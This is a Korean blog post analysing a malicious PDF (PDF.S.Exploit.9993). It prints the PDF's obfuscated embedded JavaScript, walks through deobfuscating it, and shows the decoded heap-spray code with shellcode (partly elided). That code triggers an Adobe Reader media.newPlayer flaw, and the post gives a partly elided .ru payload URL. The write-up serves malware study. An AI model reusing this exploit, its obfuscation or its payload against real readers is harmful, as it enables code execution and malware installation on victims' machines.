본문 바로가기

security/악성코드 유포

PDF.S.Exploit.9993 보고 나서 !

%PDF-1.1
 1 0 obj
 << /Type /Catalog /Outlines 2 0 R /Pages 3 0 R /OpenAction 5 0 R >>
 endobj
 2 0 obj
 << /Type /Outlines /Count 0 >>
 endobj
 3 0 obj
 << /Type /Pages /Kids [4 0 R] /Count 1 >>
 endobj
 4 0 obj
 << /Type /Page /Parent 3 0 R /MediaBox [0 0 612 792] >>
 endobj
 5 0 obj
 << /Type /Action /S /JavaScript /JS (
 /*as*/
 s = "13,10,32,13,10,32,102,117,110,99,116,(중략),48,48,48,56,37,,98,117,103,40,41,59,13,10".
replace(/[A-Za-z]/g,function (st)
 {
   a=223/*asa*/;;
   /*aplqs*/;;
   b=65;;;;;;
   return String.fromCharCode((((st = st.charCodeAt(0)) & a/*asa*/) -10+62) %10+16 + (st & 31+1) + b);
 }
 ).split(",");
 /*as*/var aspo = 10;
 /* aspo */ var JknnBv="fo";
 if (aspo<10)
 {
   JknnBv = JknnBv + "aspo";;
   /*aaa*/;
 }
 var qqeerR="r";
 var qrt="(i";
 var HHjdxc="=0";
 var Lakqo="i<";
 var Aplkqoas="l"+"en";
 var df="+"+"+";
 var Oakqij="=S";;
 /*aspo*/;;
 /*aspo*/var nmMJ="o";
 /*asasa*/var kas="kas";
 var apqko="o";;;
 var mas=15;
var UhaQma="[i]);}";
p ="";
/*as*/var asasas=11;
eval(JknnBv+qqeerR+qrt+HHjdxc+";"+Lakqo+"s."+Aplkqoas+"gth"+";i"+df+"){"+"p+"+Oakqij+"tri"+"ng"+".fr"+nmMJ+"mC"+"h"+"arC"+apqko+"de"+"(s"+UhaQma);
 /*a1qw*/eval(p);
 //*qwqwl*//*1564687*//*qw*////*qwq*///*asaq*//
 ) >>
 endobj
 xref
 0 6
 0000000000 65535 f
 0000000010 00000 n
 0000000096 00000 n
 0000000145 00000 n
 0000000205 00000 n
 0000000279 00000 n
 trailer
 << /Size 6 /Root 1 0 R >>
 startxref
 1790
 %%EOF

이것에 대해서 풀어봤다~
이번에는 필터 값이 주어지지 않아서 많이 힘들었다.
위에 값과 순수한 함수들로 해서 풀리는 것이었다.

for (i = 0; i < s.length; i ++ ){
  p += String.fromCharCode(s[i]);
}

이 값이 힌트였던거 같았다.
이것이 eval 로 계산을 되어서 최종적인 코드가 나오는 거 같았다.
리플레이스를 해서 eval 시키면 코드들이 주르르 출력된다.

function spray_heap(){

  var chunk_size, payload, nopsled;
  var payload = unescape("
%uA164%u0018%u0000%u408B%u8B30%u5440%u408B%u8B04%u0440%u408B%u0D04%u0020%u0020%u7C3D%u7700
%u7400%uC301%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40
%u588B%u6A3C(중략)u7865%u2E65%u6870%u3F70
%u3D73%u3432%u006E");
  chunk_size = 0x8000;
  nopsled = unescape("%u0d0d%u0d0d");
  while (nopsled.length < chunk_size)nopsled += nopsled;
  nopsled_len = chunk_size - (payload.length + 20);
  nopsled = nopsled.substring(0, nopsled_len);
  heap_chunks = new Array();
  for (var i = 0; i < 1200; i ++ )heap_chunks[i] = nopsled + payload;
}
function trigger_bug(){
  util.printd("1.000000000000000000000000 : 0000000", new Date());
  try {
    media.newPlayer(null);
  }
  catch (e){
  }
  util.printd("1.000000000000000000000000 : 0000000", new Date());
}
spray_heap();
trigger_bug();

밑에 보니 media.newPlayer 가 써있는것을 보니 media.newPlayer 의 취약점을
이용하고 있는거 같았다.
 어쨌든 이렇게 코드가 몇일 만에 해석되고 최종 이어지는 파일까지 찾아서 기뻤다.
이어지는 곳은 : http://as08as08s098as09a(생략)s.ru/nsp1/e/exe.php?s=24n
여기 이다!!
 
ps. 나도 이게 어떻게 하다보니 됐다 안됐다 하니 ㅠ 익숙해질때 까지 노력해야겠다.